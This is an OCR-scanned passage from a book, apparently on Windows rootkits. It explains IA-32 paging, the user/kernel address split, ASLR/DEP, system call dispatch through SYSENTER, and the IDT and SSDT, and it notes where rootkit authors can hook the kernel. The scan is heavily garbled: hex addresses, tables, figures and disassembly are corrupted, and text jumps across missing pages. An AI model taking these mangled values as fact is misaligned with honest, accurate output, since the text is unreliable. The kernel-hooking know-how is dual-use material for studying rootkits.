The first line merely restates the linear address fed to the command. Microsoft documentation usually refers to a linear address as a virtual address (VA). Note how the command pads the values with zeroes to reinforce the fact that we're dealing with a 32-bit value.
POE
at
CS3eoooo
PTE at
ceoooocs
The second line displays both the linear address of the PDE and the linear address of the PTE used to resolve the originally specified linear address. Though the address resolution process performed by the processor formally uses physical base addresses, these values are here so that we know where these structures reside in the alternative universe of a program's linear address space.
contains 1BES2867 contains 88ACF847
The third line specifies the contents of the PDE and PTE in hex format. PDEs and PTEs are just binary structures that are 4 bytes in length (assuming a 32-bit physical address space where PAE has not been enabled).
pfn 1be82 ---DA--UWEV pfn acf ---D---UWEV
The fourth line decodes these hexadecimal values into their constituent parts: physical addresses and status flags. Note that the base physical addresses stored in the PDE and PTE are displayed in the 20-bit page frame format, where the least-significant 12 bits are not shown and assumed to be zero. Table 3-3 describes what these flag codes signify.
Table 3-3
Page/Page table is valid (present in memory)
R K
w
U
Page/Page table writable (as opposed to being read-only) Owner is user (as opposed to being owned by the kernel) Write-through caching is enabled for this Page/Page table Page/Page table caching is disabled Page/Page table has been accessed (read from or written to) Page is dirty (has been written to) Page is larger than 4 KB (4 MB, or 2 MB if PAE is enabled)
3
4
A
D
Po rt I
I 89
Indicates a global page {related to translation lookaside buffers} Copy on write is enabled Page contains executable code
C E
Let's take an arbitrary set of linear addresses, ranging from axaaaaaaaa to axFFFFFFFF, and run the! pte command on them see what conclusions we make from investigating the contents of their PDEs and PTEs.
kd>
!pte
0 VA
eeeeeeee
ceeeeeee eeeeeeee
POE at C03eeee0 PTE at contains 1BE02867 contains pfn 1be02 ---OA- -UWEV
kd>
!pte
Sbeeee VA OOSbeeee
PTE at C00016C0 POE at C0300004 contains 1BBBC847 contains 1C136867 pfn 1bbbc - - -0- - -LWEV pfn 1c136 ---OA--UWEV
kd>
!pte
7fffffff VA 7fffffff
PTE at C01FFFFC POE at C03007FC contains 18043867 contains eeeeeeee pfn 1bd43 - - -OA--UWEV
kd>
!pte
seeeeeee
VA
seeeeeee
PTE at C02eeee0 contains eeeeeeee
!pte ffffffff
VA ffffffff
Even though some PTEs have not been populated, there are several things we can glean from this output: The page directory for each process is loaded starting at linear address
axca3aaaaa.
Page tables are mapped into linear address space starting at axcaaaaaaa. The border between user-level pages and supervisor-level pages is at
axsaaaaaaa.
90
Part I
The first 512 PDEs define user-level pages. The last 512 PDEs define supervisor-level pages.
There is one caveat to be aware of: Above we're working on a machine that is using a 32-bit physical address space. For a machine that is running with PAE enabled, the base address of the page directory is mapped by the memory manager to linear address exce6eeeee. By looking at the flag settings in the PDE entries, we can see a sudden shift in the U/S flag as we make the move from linear address ex7FFFFFFF to exseeeeeee. This is the mythical creature we've been chasing for the past couple of chapters. This is how Windows implements a two-ring memory protection scheme. The boundary separating us from the inner chambers is nothing more than a I-bit flag in a collection of operating system tables. We know that PDEs are 32 bits in size. We also know that they are stored contiguously starting at exce3eeeee. Thus, looking at the previous output we can tell that of the 1,024 entries in the page directory, the first 512 (residing in the linear address range [exCe3eeeee - exce3ee7FF]) define pages that run with user-level privilege (i.e., Ring 1). The remaining 512 page directory entries (residing in the linear address range [exce3eesee - exce3eeFFF]) define pages that run with supervisor-level privilege (i.e., Ring 0).
> Note:
The page directory and page tables belonging to a process reside above the exseeeeee divider that marks the beginn ing of supervisor-level code . This is done intentionally so that a process cannot modify its own address space .
Longhand Translation
Consider the linear address exeeS eele. Using the . f ormats debugger B meta-command, we can decompose this linear address into the three components used to resolve a physical address when paging has been enabled.
Part I
I 91
kd> .formats Sba010 Evaluate expression: Hex: OOSba010 Decimal: S963792 Octal: 00026600020 Binary : eeeeeeee 01011011 eeeeeeee 00010000 Chars: . [ .. Time: Tue Mar 10 17:36:32 1970 Float: low 8.3S70Se-039 high 0 Double: 2.946Se-317
According to the paging conventions of the IA-32 processor, the index into the page directory is the highest order 10 bits (i.e., aaaaaaaaal in binary, or axl), the index into the corresponding page table is the next 10 bits (i.e., allallaaaa in binary, or axlBa), and the offset into physical memory is the lowest order 12 bits (i.e., aaaaaaalaaaa in binary, or axla). We'll begin by computing the linear address of the corresponding PTE. We know that page tables are loaded by the Windows memory manager into linear address space starting at address axcaaaaaaa. We also know that each PDE points to a page table that is 4 KB in size. Given that each PTE is 32 bits, we can calculate the linear address of the PTE as follows: PTE linear address
(page table starting address) (page directory index)*(bytes per page table) (page table index)*(bytes per PTE)
+ +
The highest order 20 bits (axlBBBc) is the PFN of the corresponding page in memory. This allows us to compute the physical address corresponding to the original linear address. Physical address =
axlbbbcaaa
axla = axlbbbcala
AQuicker Approach
We can do the same thing with less effort using the ! pte command:
kd> !pte Sba010 VA OOSba010 POE at C03eee04 PTE at C00016C0 contains 1C136867 contains 1BBBC847 pfn 1c136 ---DA--UWEV pfn 1bbbc ---D---UWEV
92
Pa rt I
This instantly gives us the PFN of the corresponding page in physical memory (0xlBBBC). We can then add the offset specified by the lowest order 12 bits in the linear address, which is just the last three hex digits (0x010), to arrive at the physical address (0xlBBBC010).
Note how we dumped the contents of the CR3 register to obtain the base address of the page directory in physical memory (for the current process in context).
By default, user space gets the lower half of the address range and kernel space gets the upper half. The 4 GB linear address space gets divided into 2 GB halves. Thus, the idea of going "down" into the kernel is somewhat a mIsnomer. This allocation scheme isn't required to be an even 50-50 split; it's just the default setup. Using the bcdedi t. exe command, the position of the dividing
Portl
193
line can be altered to give the user space 3 GB of memory (at the expense of kernel space).
bcdedit /set increaseuserva 3972
To institute this change under older versions of Windows, you'd need to edit the boot. ini file and include the 13GB switch.
[boot loader] timeout=39 default=multi(9)disk(9)rdisk(9)partition(2)\WINNT [operating systems] rrulti(9)disk(9)rdisk(9)partition(2)\WINNT="Windows Server 2993" /3GB
Though the range of linear addresses is the same for each process (exeeeeeeee - ex7FFFFFFF), the bookkeeping conventions implemented by IA-32 hardware and Windows guarantee that the physical addresses mapped to this range is different for each process. In other words, even though two programs might access the same linear address, each program will end up accessing a different physical address. Each process has its own private user
space.
This is why the ! vtop kernel debugger command requires you to provide the physical base address of a page directory (in PFN format). For example, I could take the linear address exeee2eeel and using two different page directories (one residing at physical address exe6e83eee and the other residing at physical address exe14b6eee) come up with two different results.
kd> !vtop 6e83 29001 Pdi 9 pti 29 90029001 edb74890 pfn(edb74) kd> !vtop 14b6 29001 Pdi 9 pti 29 90029001 1894feee pfn(l894f)
In the previous output, the first command indicates that the linear address exeee2eeel resolves to a byte located in physical memory in a page whose PFN is exedb74. The second command indicates that this same linear address resolves to a byte located in physical memory in a page whose PFN is ex1894f. Another thing to keep in mind is that even though each process has its own private user space, they all share the same kernel space (see Figure 3-1). This is a necessity, seeing as how there can be only one operating system. This is implemented by mapping each program's supervisor-level PDEs (indexed 512 through 1023) to the same set of system page tables (see Figure 3-2).
94
Po rt I
. - - - - - . . , OxFFFFFFFF
Kernel Space
L -_ _ _
OxOOOOOOOO
Figure 3-1
Figure 3-2
Aside
Caveat emptor: The notion that application code and kernel code are
confined to their respective address spaces is somewhat incorrect. Sure, the executive's address space is protected, such that an application thread has to pass through the system call gate to access kernel space, but a thread may start executing in user space then jump to kernel space, via SYSENTER (or INT ax2E), and then transition back to user mode_ It's the same execution path for the
entire trip; it has simply acquired entry rights to the kernel space by executing special system-level machine instructions_
Po rt I
I 95
From this output, we can see the linear address at which the program (explorer. exe) is loaded and where the DLLs that it uses are located. As should be expected, all of these components reside within the bounds of user space (exeeeeeeee - ex7FFFFFFF).
96
Po rt I
For the sake of brevity, I truncated the output that this command produced. The 1m n command lists the start address and end address of each module in the kernel's linear address space. As you can see, all of the modules reside within kernel space (exSeeeeeee - eXFF FFFF FF).
> Nole:
A module is the memory image of a binary file containing executable code . A modu le can refer to an instance of an .exe, .dll, or .sys file.
Po rt I
I 97
If a preferred base address is not specified, the default load address for an .exe application is ax4aaaaa and the default load address for a DLL is axlaaaaaaa. If memory is not available at the default or preferred linear address, the system will relocate the binary to some other region. The /FIXED linker option can be used to prevent relocation. In particular, if the memory manager cannot load the binary at its preferred base address, it issues an error message and refuses to load the program.
This behavior made life easier for shell coders by ensuring that certain modules of code would always reside at a fixed address and could be referenced in exploit code using raw numeric literals. Address space layout randomization (ASLR) is a feature that was introduced with Vista to deal with this issue. ASLR allows binaries to be loaded at random addresses. It's implemented by leveraging the / DYNAMICBASE linker option. Though Microsoft has built its own system binaries with this link option, third-party products that want to use ASLR will need to "opt-in" by relinking their applications. When the memory manager loads the first DLL that uses ASLR, it loads it into the linear address space at some random address (referred to an "image load bias") and then works its way toward higher memory, assigning load addresses to the remaining ASLR-capable DLLs. If possible, these DLLs are set up to reside at the same address for each process that uses them so that the processes can leverage code sharing (see Figure 3-3). To see ASLR in action, crank up the Process Explorer tool from Sysintemals. Select the View menu and toggle the Show Lower Pane option. Then select the View menu again, and select the Lower Pane View submenu. Select the DLLs option. This will display all of the DLLs being used by the executable selected in the tool's top pane. In this example, I've selected the explorer. exe image (see Figure 3-4). This is a binary that ships with Windows, and thus is ensured to have been built with ASLR features activated. In the lower pane, I selected ntdll. dll as the subject for examination. If you right-click on a DLL in the lower pane, you can select the Properties menu item to determine the load address of the DLL.
98
Po rt I
OxFffFfFff
Kernel Space
Ox80000000
Ox7 FfffFff
Figure 3-3
1.Qf Process Explorer - ~intemals: _.~intem.ls.com ronnenonctum~J f ile Qptions Y)"", f.roces5 Find QLl lis"" l::!elp
JgJ[iJ~
--
wrIogon.exe
El t~~
1M MSASCui._
.. WINWORD .EXE ~ eroc- .exe ~f ~ .....
" 2252
3552
CPU
~N"",,,
... P.
N ame
,,,.
3568
W"doWi Defender lJoer 1nI . ~ooft ~ Mia'oooft Office WOld Mia'oooft CoIpo<otion 2.91 Sywotemals Process E>pknr Sywjemals
........
Microsoft CoIporotJon
....
Nt",
DeSQ'IlIIOIl
Company Name
.
QI
Nonn.iz.cI
npmproxy.dI NSl.cI
00
lhcode Nonnalzotion DLl Networi< LJst Manager Proxy NSI User<TlOde nte1f.ce Dll
Mia'osoft~ Lon Monager riI.,."on.dI NTMART-'I!;:\Wndov.~~em32\r1d1.cll A prov.der rtsm. cI ext..,...." f'" shOlYl\l Mia'osoft OLE I", Wndo,,~ oIe32.dI OlEACC.cI /dive Acc=ibiky Ce<e Componert
.... .
..
Figure 3-4
If you reboot your computer several times and repeat this whole procedure with the Process Explorer, you'll notice that the load address of the ntdll dll file changes. I did this several times and recorded the following load addresses: ex771Hleee, ex7751eeee, ex776Ceeee, and ex7724eeee.
0
Port I
I 99
ASLR is most effective when utilized in conjunction with data execution prevention (DEP). For example, if ASLR is used alone there is nothing to prevent an attacker from executing code off the stack via a buffer overflow exploit. Likewise, if DEP is used without ASLR, there's nothing to prevent a hacker from modifying the stack to reroute program control to a known system call. As with ASLR, DEP requires software vendors to opt-in. To utilize DEP, developers must specify the /NXCOMPAT linker flag.
> Nole:
This mapping is not necessarily absolute . It's just how things are set up to work under normal circumstances . As we'll see later on in the book, research has demonstrated that it's possible to manipulate the GDT so that code in user space is able to execute with Ring 0 privileges, effectively allowing a user space application to execute with kernel mode superpowers .
In this section we'll discuss a subset of core operating system components, identify where they reside in memory, and examine the roles that they play during a system call invocation. A visual summary of the discussion that
100
Port I
follows is provided in Figure 3-5. Keep this picture in mind while you read about the different user-mode and kernel-mode elements.
4~
,di3Z.dll
OdvOP!3Z.dll
t :;..
+ .
~-"-":
Windows API
;j
u,.r;z.dll
_._---I
User Mode Kernel Mode
lI.rneIJZ .dll I o.
i:.
4.
Kerne l Mode Dr ivers
I
..
ntdll.dll
i :---------------------------------------------r--------------------------:
~ ..
Hardware
HAL (hal.dll)
~t-~-~-,
bootvid.dll
Key
e e
Figure 35
Kernel-Mode Components
Just above the hardware is the Windows Hardware Abstraction Layer (HAL). The HAL is intended to help insulate the operating system from the hardware it's running on by wrapping machine-specific details (e.g., managing interrupt controllers) with an API that's implemented by the HAL DLL. Kernel-mode device drivers that are "well-behaved" will invoke HAL routines rather than interface to hardware directly, presumably to help make them more portable. The actual DLL file that represents the HAL will vary depending upon the hardware on which Windows is running. For instance, standard PCs use a file named hal. dll. For computers that provide an advanced configuration and power interface (ACPD, the HAL is implemented by a file named halacpi. dll. ACPI machines that use multiple processors use a HAL implemented by a file named halmacpi. dll. In general, the HAL will be implemented by some file named hal * .dlliocated in the %windir%\system32 folder.
Part I 1101
Down at the very bottom, sitting next to the HAL, is the bootvid. dll file, which offers very primitive VGA graphics support during the boot phase. This driver's level of activity can be toggled using the bcdedi t. exe quietboot option, or the /noguiboot switch in the boot. ini file for older versions of Windows. The core of the Windows operating system resides in ntoskrnl. exe binary. This executable implements its functionality in two layers: the executive and the kernel. This may seem a bit strange, seeing as how most operating systems use the term "kernel" to refer to these two layers in aggregate. The executive implements the system call interface (which we will formally meet in the next section) and the major OS components (e.g., I/O manager, memory manager, process and thread manager). Kernel-mode device drivers will typically be layered between the HAL and the executive's I/O manager. The kernel implements low-level routines (e.g., those related to synchronization, thread scheduling, and interrupt servicing) that the executive builds upon to provide higher-level services. As with the HAL, there are different binaries that implement the executivelkernel depending upon the features that are enabled (see Table 3-4). The win32k. sys file is another major player in kernel space. This kernelmode driver implements both user and graphics device interface (GDI) services. User applications invoke user routines to create GUl controls. The GDI is used for rendering graphics for display on output devices. Unlike other operating systems, Windows pushes most of its GUl code to the kernel for speed.
Table 34 File Nome
ntoskrnl. exe ntkrnlpa.exe ntkrnlmp.exe ntkrpamp .exe
DesUiptlOn Uniprocessor x86 architecture systems where PAE is not supported Uniprocessor x86 architecture systems with PAE support Multiprocessor version of ntoskrnl. exe Multiprocessor version of ntkrnlpa . exe
One way to see how these kernel-mode components are related is to use the dumpbin . exe tool that ships with the Windows SDK. Using dumpbin. exe, you can see the routines that one component imports from the others (see Table 3-5).
C:\windows\system32\> dumpbin.exe /imports hal.dll
102
Port I
For the sake of keeping Figure 3-5 relatively simple, I displayed only a limited subset of the Windows API DLLs. This explains why you'll see files referenced in Table 3-5 that you won't see in Figure 3-5.
Tobie 35 Component
hal.dll bootvid. dll ntoskrnl.exe win32k.sys
Imported Modules
ntoskrnl.exe,kdcom.dll,pshed.dll ntoskrnl.exe, hal.dll hal . dll, pshed.dll, bootvid.dll,kdcom.dll,clfs.sys,ci. dl1 ntoskrnl.exe, msrpc.sys, watchdog.sys, hal . dll, dxapi. sys
User-Mode Components
An environmental subsystem is a set of binaries running in user mode that allow applications written to utilize a particular environment!API to run. Using the subsystem paradigm, a program built to run under another operating system (like OS/2) can be executed on a subsystem without significant alteration.
Understanding the motivation behind this idea will require a trip down memory lane. When Windows NT 4.0 was released in 1996, it supported five different environmental subsystems: Win32, Windows on Windows (WOW), NT Virtual DOS Machine (NTVDM), OS/2, and POSIX. Whew! The Win32 subsystem-supported applications conforming to the Win32 API, which was a 32-bit API used by applications that targeted Windows 95 and Windows NT. The WOW subsystem provided an environment for older 16-bit Windows applications that were originally designed to run on Windows 3.l. The NTVDM subsystem offered a command-line environment for legacy DOS applications. The OS/2 subsystem supported applications written to run on IBM's OS/2 operating system. The POSIX subsystem was an attempt to silence UNIX developers who, no doubt, saw NT as a clunky upstart. So there you have it, a grand total of five different subsystems: Win32 (what Microsoft wanted to people to use) WOW (supported legacy Windows 3.1 apps) NTVDM (supported even older MS-DOS apps) OS/2 (an attempt to appeal to the IBM crowd) POSIX (an attempt to appeal to the UNIX crowd)
Port I 11 03
Essentially, what Microsoft was trying to do was gain market share by keeping its existing customer base while luring users who worked on other platforms. As the years progressed, the OS/2 and POSIX subsystems were dropped, reflecting the market's demand for these platforms. As a replacement for the POSIX environment, Windows XP and Windows Server 2003 offered a subsystem known as Windows Services for UNIX (SFU). With the release of Vista, this is now known as the Subsystem for UNIX-based Applications (SUA). In your author's opinion, SUA is probably a token gesture on Microsoft's part. With over 90 percent of the desktop market, and a growing share of the server market, catering to other application environments isn't much of a concern anymore. It's a Windows world now. The primary environmental subsystem in Vista and Windows Server 2008 is the Windows subsystem. It's a direct descendent of the Win32 subsystem. The marketing folks at Microsoft wisely decided to drop the "32" suffix when 64-bit versions of XP and Windows Server 2003 were released. The Windows subsystem consists of three basic components: User-mode Client-Server Runtime Subsystem (csrss. ex e) Kernel-mode device driver (win32k. sys) User-mode DLLs that implement the subsystem's API
The Client-Server Runtime Subsystem plays a role in the management of user mode processes and threads. It also supports command-line interface functionality. It's one of those executables that's a permanent resident of user space. Whenever you invoke the Windows Task Manager you're bound to see at least one instance of csrss. exe. The interface that the Windows subsystem exposes to user applications (i.e., the Windows API) looks a lot like the Win32 API and is implemented as a collection of DLLs (e.g., kerne132. dll, advapi32. dll, user32. dll, gdi. dll, shel132. dll, rpcrt4. dll, etc.). If a Windows API cannot be implemented entirely in user space, and needs to access services provided by the executive, it will invoke code in the ntdll. dlllibrary to reroute program control to code in ntoskrnl. exe. In the next section we'll spell out the gory details of this whole process. As in kernel mode, we can get an idea of how these user-mode components are related using the dumpbin . exe tool (see Table 3-6). For the sake of keeping Figure 3-5 relatively simple, I displayed only a limited subset of the
104
Port I
Windows API DLLs. So you'll see files referenced in Table 3-6 that you won't see in Figure 3-5. One last thing that might be confusing: In Figure 3-5 you might notice the presence of user-mode "services," in the box located at the upper left of the diagram. From the previous discussion, you might have the impression that the operating system running in kernel mode is the only entity that should be offering services. This confusion is a matter of semantics more than anything else. A user-mode service is really just a user-mode application that runs in the background, requiring little or no user interaction. As such, it is launched and managed through another user-mode program called the Service Control Manager (SCM), which is implemented by the services. exe file located in the %systemroot%\system32 directory. To facilitate management through the SCM, a user-mode service must conform to an API whose functions are declared in the winsvc . h header file. We'll run into the SCM again when we look at kernel-mode drivers.
Table 36
Component Imported Modules
advapi32 . dll user32 . dll gdi32.dll csrss.exe kerne132. dll ntdll . dll
ntdll . dll,kerneI32.dll, user32.dll, rpcrt4 . dll,wintrust.dll, secur32 .dll , bcrypt.dll ntdll.dll, kerneI32.dll, gdi32.dll,advapi32.dll,msimg32.dll, powrprof.dll, winsta.dll ntdll.dll, kerneI32 . dll, user32.dll,advapi32.dll ntdll.dll, csrsrv.dll ntdll .dll
-none-
Part I 1105
However, this is not the case with Windows, which refers to its system call interface as the native API of Windows. Like the Wizard of Oz, Microsoft has opted to leave the bulk of its true nature behind a curtain. Rather than access operating system services through the system call interface, the architects in Redmond have decided to veil them behind yet another layer of code. "Pay no attention to the man behind the curtain," booms the mighty Oz, "focus on the ball of fire known as the Windows API."
> No:
O ld habits die hard. In this book I'll use the terms "system call interface" and "native API" interchangeably.
One can only guess the true motivation for this decision. Certain unnamed network security companies would claim that it's Microsoft's way of keeping the upper hand. After all, if certain operations can only be performed via the native API, and you're the only one who knows how to use it, you can bet that you possess a certain amount of competitive advantage. On the other hand, leaving the native API undocumented might also be Microsoft's way of leaving room to accommodate change. This way, if a system patch involves updating the system call interface, developers aren't left out in the cold because their code relies on the Windows API (which is less of a moving target). In this section, I describe the Windows system call interface. I'll start by looking at the kernel-mode structures that facilitate native API calls, and then demonstrate how they can be used to enumerate the API. Next, I'll examine which of the native API calls are documented and how you can glean information about a particular call even if you don't have formal documentation. I'll end the section by tracing the execution path of native API calls as they make their journey from user mode to kernel mode.
106
Port I
> Note:
Each processor has its own IDTR register. Thus, it makes sense that each processor will also have its own lOT. This way, different processors can invoke different ISRs if they need to. For instance, on machines with multiple processors, all of the processors must acknowledge the clock interrupt. However, only one processor increments the system clock .
According to the Intel specifications, the IDT (the Interrupt Descriptor Table) can contain at most 256 descriptors, each of which is 8 bytes in size. We can determine the base address and size of the IDT by dumping the descriptor registers.
kd> I'M 9x100 gdtr=82430999 gdtl=03ff idtr=82439400 idtl=97ff tr=OO28 ldtr=OOOO
This tells us that the IDT begins at linear address 0x82430400 and has 256 entries. The address of the IDT's last byte is the sum of the base address in IDTR and the limit in IDTL.
If we wanted to, we could dump the values in memory from linear address 0x82430400 to 0x82430BFF and then decode the descriptors manually. There is, however, an easier way. The! ivt kernel-mode debugger extension command can be used to dump the name and addresses of the corresponding ISR routines.
kd> !idt -a 00: 8188d6b0 nt!KiTrap09 91: 8188d839 nt!KiTrap01 Task Selector = 9xOOS8 92: 93: 8188dc84 nt!KiTrap03
Of the 254 entries streamed to the console, less than a quarter of them reference meaningful routines. Most of the entries (roughly 200 of them) resembled the following ISR:
Port I 1107
8188bf19 nt!KiUnexpectedlnterrupt16
These KiUnexpectedlnterrupt routines are arranged sequentially in memory and they all end up calling a function called KiEndUnexpectedRange, which indicates to me that only a few of the IDT's entries actually do something useful.
kd> u 8188be7a ntlKiUnexpectedlnterrupt1: 8188be7a 6831aeeeee push 8188be7f e9d397aaaa jmp nt!KiUnexpectedlnterrupt2 : 8188be84 6832aeeeee push 8188be89 e9c997aaaa jmp ntlKiUnexpectedlnterrupt3: 8188be8e 6833aeeeee push 8188be93 e9bfa7aaaa jmp ntlKiUnexpectedlnterrupt4: 8188be98 6834099999 push 8188be9d e9b597aaaa jmp
31h nt!KiEndUnexpectedRange (8188c657) 32h nt!KiEndUnexpectedRange (8188c657) 33h ntlKiEndUnexpectedRange (8188c657) 34h nt!KiEndUnexpectedRange (8188c657)
entry that implemented this functionality for older processors still resides in the IDT at entry ax2E .
2a: 2b: 2c: 2d:
2e:
8188c7ae nt'K1SystemSerVlce
The ISR that handles interrupt ax2E is a routine named KiSystemService. This is the system service dispatcher, which uses the information passed to it from user mode to locate the address of a native API routine and invoke the native API routine. From the perspective of someone who's implementing a rootkit, the IDT is notable as a way to access hardware ISRs or perhaps to create a back door into the kernel. We'll see how to manipulate the IDT later on in the book. The function pointers that specify the location of the Windows native API routines reside in a different data structure that we'll meet shortly (i.e., the SSDT).
1081 Port I
Windows 2000, when interrupt-driven system calls were the norm, an invocation of the KiSystemService routine would look like:
ntdll!NtDeviceIoControlFile: move eax, 38h lea edx, [esp+4] int 2Eh ret 28h
The previous assembly code is the user-mode proxy for the NtDeviceloControl File system call on Windows 2000. It resides in the ntdll. dll library, which serves as the user-mode liaison to the operating system. The first thing that this code does is to load the system service number into EAX. This is reminiscent of real mode, where the AH register serves an analogous purpose. Next, an address for a value on the stack is stored in EDX and then the interrupt itself is executed.
D ptlon esm Used to compute both the kernel-mode code and stock segment selectors Specifies the location of the stock pointer in the kernel-mode stock segment An offset that specifies the first instruction to execute in the kernel-mode code segment
Register Address
8x174 8x175 8x176
If we dump the contents of the IA32_SYSENTER_CS and IA32_SYSENTER_EIP registers using the rdmsr debugger command, we see they specify an entry point residing in kernel space named KiFastCallEntry. In particular, the selector stored in the IA32_SYSENTER_CS MSR corresponds to a Ring 0 code segment that spans the entire address range (this can be verified with the dg kernel debugger command). Thus, the offset stored in the IA32_SYSENTER_EIP MSR is actually the full-blown 32-bit linear address of
Part I 1109
the KiFastCallEntry kernel-mode routine. If you disassemble this routine, you'll see that eventually program control jumps to our old friend KiSystemService.
kd> rdmsr 174 msr[174) = eeeeeeee"eeeeeees kd> rdmsr 176 msr[176) = eeeeeeee"81864889 kd> dg 8 Sel Base Limit Type P 5i Gr Pr Lo I ze an es ng Flags
eeas
kd> u 81864880 nt!KiFastCaIIEntry: 81864889 b923eeeeee 81864885 6a30 81864887 efa1 81864889 8ed9 8186488b 8ec1 8186488d 648b0c:14OOOO0OO 81864894 8b6194 81864897 6a23 818646bd ef845301eeee
ecx,23h
30h
fs ds,cx es,cx ecx,dword ptr fs:[40h) esp,dword ptr [ecx+4) 23h nt!Ki5ystemService+0x68 (81864816)
As in the case of INT 0x2E, before the SYSENTER instruction is executed the system service number will need to be stowed in the EAX register. The finer details of this process will be described shortly.
descriptor tables.
Even though four descriptor tables are possible (e.g., two bits can assume one of four values), it would seem that there are two service descriptor tables that have visible symbols in kernel space. You can see this for yourself by using the following command during a kernel debugging session:
110
Pari I
kd> dt nt!*descriptortable* -v Enumerating symbols matching nt!*descriptortable* Address Size Symbol 81939909 aee nt!KeServiceDescriptorTableShadow (no type info) 819398c9 aee nt!KeServiceDescriptorTable (no type info)
III
Brt32
KeServlceOescrlptorTable
Routlnel ndex
...... 1112
,,
81tH
Bit 12'
KeServiceOescriptorTableShadow
KiServ ic.Table ; fie1dl; "Entri. s) KiA,.gulMntTable J
PDWOItD W 32pS.,-vlcaTableJ
PDWORD
DWORD PBYTE
fiddl;
"Ent ri ; W 32pArBu_ntrableJ
KIServiceTable W32pServiceTabie
Figure 3-6
Of these two symbols, only KeServiceDescriptorTab1e is exported by ntoskrn1. exe. (You can verfy this with the dumpbin. exe tool.) The other table is visible only within the confines of the executive.
If bits 12 and 13 of the system service number are exee (i.e., the system service numbers range from exeeee - exeFFF), then the KeServiceDescriptorTab1e is used. If bits 12 and 13 of the system service number are exel (i.e., the system service numbers range from exleee - exlFFF), then the KeServiceDescriptorTab1eShadow is to be used. The ranges ex2eee ex2FFF and ex3eee - ex3FFF don't appear to be assigned to service descriptor tables.
These two service descriptor tables contain substructures known as System Service Tables (SSTs). An SST is essentially an address lookup table that can be defined in terms of the foHowing C structure:
Port I 1111
//array of function pointers //not used in Windows free build //number of function pointers in SSOT //array of byte counts
The serviceTab1e field is a pointer to the first element of an array of linear addresses, where each address is the entry point of a routine in kernel space. This array of linear addresses is also known as the System Service Dispatch Table (SSDT) (not to be confused with SST). An SSDT is like the real-mode IVT in spirit, except that it's a Windows-specific data structure. You won't find references to the SSDT in the Intel IA-32 manuals. The third field, nEntries, specifies the number of elements in the SSDT array. The fourth field is a pointer to the first element of an array of bytes, where each byte in the array indicates the amount of space (in bytes) allocated for function arguments when the corresponding SSDT routine is invoked. This last array is sometimes referred to as the System Service Parameter Table (SSPT). As you can see, there are a lot of acronyms to keep straight here (SST, SSDT, SSPT, etc.). Try not to let it throw you. The first 16 bytes of the KeServiceDescriptorTab1e is an SST that describes the SSDT for the Windows native API. This is the core system data structure that we've been looking for. It consists of 391 routines (nEntries =
axiS7).
kd> dds KeServiceDescriptorTable L4 819398c0 8187a890 nt!Ki5erviceTable 819398c4 eeeeeeee 819398c8 eeeee187 819398cc 8187aeb0 nt!K1ArgumentTable
The first 32 bytes of the KeServiceDescriptorTab1eShadow structure includes two SSTs. The first SST is just a duplicate of the one in KeServiceDescriptorTab1e. The second SST describes the SSDT for the user and GDI routines implemented by the win32k. sys kernel-mode driver. These are all the functions that take care of the Windows GUI. There are quite of few of these routines, 772 to be exact, but we will be focusing most of our attention on the native API.
kd> dds KeServiceDescriptorTableShadow L16 81939900 8187a890 nt!KiServiceTable 81939904 eeeeeeee 81939908 eeeee187
1121
Part I
eeeeeeee
eeeee394 9124bf29 win32klW32pArgurnentTable
Aside
Microsoft doesn't seem to appreciate it when you broach the subject of service descriptor tables on their MSDN forums. Just for grins, here's a response that one of the drones at Microsoft gave to someone who had a question about KeServiceDescriptorTable. "KeServiceDescriptorTable is not documented and what you are trying to do is a really bad idea. Better ask the people who provided you with the definition of KeServiceDescriptorTable." - Mike Danes, Moderator of Visual C++ Forum
I truncated the output of this command for the sake of brevity (though I included a complete listing in the appendix for your perusal). One thing you'll notice is that all of the routines names, with the exception of the xHalLoadMicrocode() system call, all begin with the prefix "Nt." Hence, I will often refer to the native API as Nt * () calls, where the asterisk (*) represents any number of possible characters.
Part I
1113
Can user-mode code access all 391 of these native API routines? To answer this question we can examine the functions exported by ntdIl. dIl, the user mode front man for the operating system. Using dumpbin . exe, we find that ntdll. dll exports 1,824 routines. Of these, 393 routines are of the form Nt * ( ). This is because there are two extra Nt * () routines exported by ntdll. dll that are implemented entirely in user space: NtGetTickCountO NtCurrentTeb()
Neither of these functions makes the jump to kernel mode. However, the NtGetTickCount routine is actually implemented by a procedure named RtlGetTickCount.
> uf RtlGetTickCount
jmp pause mov mov mov cmp jne mov mul shl imul shrd shr add ret
ntdll!RtlGetTickCount+9x4 ecx,dword ptr [SharedUserOata+9x324] edx,dword ptr [SharedUserOata!SystemCallStub+ax20) eax,dword ptr [SharedUserOata+9x328) ecx,eax ntdll!RtlGetTickCount+9x2 eax,dword ptr [SharedUserOata+9x4) eax,edx ecx,8 ecx,dword ptr [SharedUserOata+9x4 (7ffe0864) eax,edx,18h edx,18h eax,ecx
> uf NtCurrentTeb
mov ret
The disassembly of NtCurrentTEB() is notable because it demonstrates that we can access thread execution blocks in our applications using raw assembler. We'll use this fact again later on in the book.
114
Part I
NtAccessCheckByTypeAndAuditAlarm NtAccessCheckByTypeResultList
ZwAccessCheckByTypeAndAuditAlarm ZwAccessCheckByTypeResultList
With the exception of the NtGetTickCount() and NtCurrentTeb() routines, each Nt* () function has a matching Zw* ( ) function. For example, NtCreateTokenO can be paired with ZwCreateTokenO. This might leave you scratching your head and wondering why there are two versions of the same function. As it turns out, from the standpoint of a user-mode program, there is no difference. Both routines end up calling the same code. For example, take NtCreateProcess () and ZwCreateProcess ( ). Using Cdb. exe, we can see that a call to NtCreateProcess () ends up calling the code for ZwCreateProcess () such that they're essentially the same function.
> u NtCreateProcess ntdll!ZwCreateProcess: 76e480c8 b848000000 76e480cd ba0093fe7f 76e480d2 ff12 76e480d4 c22eee 76e480d7 ge
In kernel mode, however, there is a difference. Let's use the NtReadFileO system call to demonstrate this.
llwe'll start by disassembling NtReadFile()
kd> u nt!NtReadFile nt!NtReadFile: 81a94f31 6a4c 81a94f33 68f9b08581 81a94f38 e84303e5ff 81a94f3d 33f6 81a94f3f 8975dc 81a94f42 8975d0 81a94f45 8975ac 81a94f48 8975b0
4Ch
offset nt! ?? : :FNODOBFM:: ' string'+0x2060 nt!_SEH-prolog4 (81855280) esi,esi dword ptr [ebp-24h),esi dword ptr [ebp-3eh),esi dword ptr [ebp-54h),esi dword ptr [ebp-5eh),esi
eax,102h edx,[espt4)
8
Port I
1115
